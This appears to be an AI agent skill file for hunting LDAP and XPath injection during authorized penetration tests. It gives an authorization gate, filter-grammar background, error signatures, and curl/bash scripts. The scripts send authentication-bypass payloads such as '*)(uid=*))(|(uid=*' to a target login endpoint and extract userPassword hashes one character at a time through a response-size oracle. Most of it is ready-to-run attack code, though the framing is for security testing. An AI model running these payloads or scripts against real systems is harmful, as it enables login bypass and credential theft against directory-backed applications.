Hunt Ldap

⚠️ AUTHORIZED USE ONLY This skill is for educational purposes or authorized security assessments only. You must have explicit, written permission from the system owner before using this tool. Misuse of this tool is illegal and strictly prohibited.

Mandatory confirmation gate Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target:

1. Ask the user to state the exact target URL, IP, account, or resource.
2. Ask the user to confirm written authorization and the permitted scope.
3. Show the exact command(s) and explain their expected effect.
4. Wait for explicit confirmation in the current conversation.

Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.

HUNT-LDAP — LDAP Injection & XPath Injection

Grounding note: LDAP injection is rarely disclosed with verbatim payloads on public platforms (most live on internal-pentest reports). This skill is grounded in the OWASP LDAP Injection Prevention / Testing Guide (WSTG-INPV-06), PortSwigger Web Security Academy (LDAP injection), and the RFC 4515 filter grammar — all publicly verifiable references rather than invented HackerOne IDs. Do not cite a report you cannot link.

Crown Jewel Targets

LDAP injection that bypasses authentication = Critical. Blind attribute exfiltration of credentials/secrets = High. AD enumeration alone = Medium-High.

Highest-value chains:

• LDAP auth bypass — close the uid filter and append an always-true OR so the bind/search returns the admin entry without a valid password.
• Blind attribute exfil — char-by-char extraction of an attribute value via a boolean oracle (login success/failure, result count, or response length).
• userPassword hash exfil (non-AD only) — on OpenLDAP/389-DS the userPassword attribute can hold {SSHA}/{CRYPT} hashes that ARE readable by query. See the AD-vs-generic warning below.
• XPath injection auth bypass — ' or '1'='1 against XML-backed auth.

CRITICAL — Active Directory vs generic LDAP

Do not conflate the two. They behave very differently:

Do not tell a reader that blind LDAP injection yields AD password hashes — it does not. unicodePwd is write-only. Against AD, the win is enumeration (sAMAccountName, memberOf, description/info fields that admins misuse to store passwords) and auth bypass — not hash dumping. The hash-exfil technique applies only to non-AD directories exposing userPassword.

Attack Surface Signals

Corporate SSO / intranet login pages (often legacy Java/Spring/PHP)
Windows + IIS + "integrated" directory auth
/api/ldap/*  /api/directory/*  /people  /address-book  /search?dir=
"Find a colleague" / org-chart / employee-search features
XML-backed config or auth → XPath injection candidate
Error strings that confirm an LDAP backend:
  javax.naming.NameNotFoundException
  javax.naming.directory.InvalidSearchFilterException
  LDAP: error code 49 - 80090308  (AD invalid creds / bind failure)
  com.sun.jndi.ldap.*  /  System.DirectoryServices  /  ldap_search():
  "Bad search filter"  /  net.ldap (Go)  /  python-ldap SERVER_DOWN

LDAP filter grammar (RFC 4515) — why injection works

A login filter is typically built by string-concat:

(&(uid=<USERNAME>)(userPassword=<PASSWORD>))

& = AND, | = OR, ! = NOT. Filters are prefix/Polish notation — the operator comes first and every sub-filter is parenthesised. To inject you must (a) escape the current (uid=...) group, (b) inject your own logic, and (c) leave the overall parenthesis count balanced or the server throws a filter-syntax error instead of executing.

The special-character set — TEST EACH ONE

These characters are syntactically meaningful and MUST be escaped by a safe app (RFC 4515 §3). If the app reflects an error or behaves differently when you send them raw, the input is unescaped → injectable:

Search-filter context vs DN injection are different bugs:

• Search-filter injection (most common): your input lands inside a (attr=VALUE) filter. Payloads use * ( ) & | !.
• DN injection: your input is concatenated into a Distinguished Name (uid=VALUE,ou=people,dc=corp). Here , = + " \ < > ; and / matter, and a * is NOT a wildcard. Test both — the payloads do not transfer.

Step-by-Step Hunting Methodology

Phase 1 — Confirm an LDAP backend (baseline first)

# ALWAYS capture a control response first — you compare everything to this.
BASE=$(curl -s -o /dev/null -w "%{http_code}|%{size_download}|%{time_total}" \
  -X POST https://$TARGET/api/login \
  -H "Content-Type: application/json" \
  -d '{"username":"validlookinguser","password":"wrongpass"}')
echo "BASELINE (valid-format, wrong pw): $BASE"

# Send a single unbalanced paren. A SAFE (escaping) app → identical baseline.
# An INJECTABLE app → 500 / filter-syntax error / different size.
curl -s -X POST https://$TARGET/api/login \
  -H "Content-Type: application/json" \
  -d '{"username":"test)","password":"x"}' | grep -iE \
  "naming|InvalidSearchFilter|error code 49|Bad search filter|jndi|ldap_search"

A lone ) that produces a syntax error/500 while a balanced payload does not is the cleanest LDAP-injection tell — note it, you will need it as proof.

Phase 2 — Auth-bypass payloads (balance your parentheses)

# Target filter assumed: (&(uid=USERNAME)(userPassword=PASSWORD))
# Goal: make the uid sub-filter always-true and neutralise the password clause.

# Wildcard-everything (works when password clause is dropped by a trailing comment-like break):
#   username = *)(uid=*))(|(uid=*    password = anything
# Always-true admin (OR uid=*):
#   username = admin)(|(uid=*)       (note: leaves one extra ')' — see below)
# NUL-truncate the password clause (C-backed servers):
#   username = admin)(uid=*))%00      password = x

USERNAME_PAYLOADS=(
  'admin))(|(uid=*'        # close uid + close &, open OR uid=* — balance check below
  '*)(uid=*))(|(uid=*'     # full always-true, self-balancing classic
  'admin)(!(userPassword=ZZZ))'  # AND NOT a password that is never set → always true
  'admin*'                 # simple wildcard suffix — try first, lowest noise
)

for P in "${USERNAME_PAYLOADS[@]}"; do
  R=$(curl -s -w "|%{http_code}|%{size_download}" -X POST https://$TARGET/api/login \
    -H "Content-Type: application/json" \
    -d "{\"username\":$(python3 -c 'import json,sys;print(json.dumps(sys.argv[1]))' "$P"),\"password\":\"anything\"}")
  echo "PAYLOAD: $P"
  echo "RESP:    ${R: -40}"
  echo "BASE:    $BASE   <-- compare http_code+size to rule out false positive"
  echo "---"
done

Parenthesis-balancing rule of thumb: count ( minus ) in the resulting full filter, not just your payload. If the app appends )(userPassword=...)) after your input, leave the right number of trailing ) so the final string is balanced. An unbalanced filter = syntax error = NOT a bypass (false positive).

Phase 3 — Blind exfil with a CONTROLLED oracle (not raw byte-count)

Raw size_download diffing is noise-prone (WAF banners, CSRF tokens, timestamps, length-jitter on the injected char itself). Use a paired true/false control so the oracle is the response, not the absolute size.

# Oracle pair: a known-TRUE filter and a known-FALSE filter on a public attr.
# TRUE : admin)(uid=*))(|(uid=*     -> entry exists
# FALSE: admin)(uid=NONEXIST_ZZZ))(|(uid=NONEXIST_ZZZ
probe () {  # $1 = filter-tail payload -> prints normalized size
  curl -s -o /dev/null -w "%{size_download}" -X POST https://$TARGET/api/login \
    -H "Content-Type: application/json" \
    -d "{\"username\":\"$1\",\"password\":\"x\"}"
}
T=$(probe 'admin)(uid=*))(|(uid=*')
F=$(probe 'admin)(uid=NONEXIST_ZZZ))(|(uid=NONEXIST_ZZZ')
echo "TRUE-class size=$T  FALSE-class size=$F"
[ "$T" = "$F" ] && { echo "No length oracle — try a STATUS or BODY-MARKER oracle, or OOB."; exit; }

# Now extract char-by-char. The boolean test compares against $T/$F, NOT a guess.
# Filter: (&(uid=admin)(userPassword=<PREFIX><CHAR>*))  on a NON-AD directory.
PREFIX=""
for pos in $(seq 1 32); do
  for C in {a..z} {A..Z} {0..9} '$' '/' '.' '+' '=' '{' '}'; do
    S=$(probe "admin)(userPassword=${PREFIX}${C}*))(|(uid=*")
    if [ "$S" = "$T" ]; then PREFIX="${PREFIX}${C}"; echo "[$pos] -> $PREFIX"; break; fi
  done
done
echo "RECOVERED: $PREFIX"

False-positive guards for blind exfil:

• Repeat each positive char 3x and confirm the size is stable — length-jitter from the attacker-controlled char itself is the #1 false positive.
• Confirm the FALSE control still returns the FALSE size after each round (the app didn't just start erroring on every request — WAF block looks like a match).
• If body length is unreliable, switch the oracle to HTTP status, a body marker string ("Invalid credentials" present/absent), or timing with a heavy filter — but only after establishing a stable baseline delta.